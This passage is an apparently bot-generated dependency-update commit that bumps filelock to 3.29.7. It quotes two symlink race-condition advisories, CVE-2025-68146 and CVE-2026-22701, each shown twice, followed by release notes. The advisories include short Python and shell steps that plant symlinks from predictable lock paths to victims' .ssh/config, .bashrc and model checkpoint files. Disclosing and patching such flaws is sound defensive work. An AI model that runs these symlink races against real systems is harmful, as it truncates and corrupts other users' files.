[tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586) - 🐛 fix(soft\_rw): evict non-regular write marker without reading it by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588) - \_util: drop the dead st\_mtime=0 short-circuit in raise\_on\_not\_writable\_file by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589) **Full Changelog**: <tox-dev/filelock@3.29.6...3.29.7> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19--> Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot
added a commit
to coopnorge/engineering-docker-images
that referenced
this pull request
Jul 16, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6` → `3.29.7` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - asyncio: detect cross-instance reentrant deadlocks before the poll loop by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586) - 🐛 fix(soft\_rw): evict non-regular write marker without reading it by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588) - \_util: drop the dead st\_mtime=0 short-circuit in raise\_on\_not\_writable\_file by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589) **Full Changelog**: <tox-dev/filelock@3.29.6...3.29.7> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate). 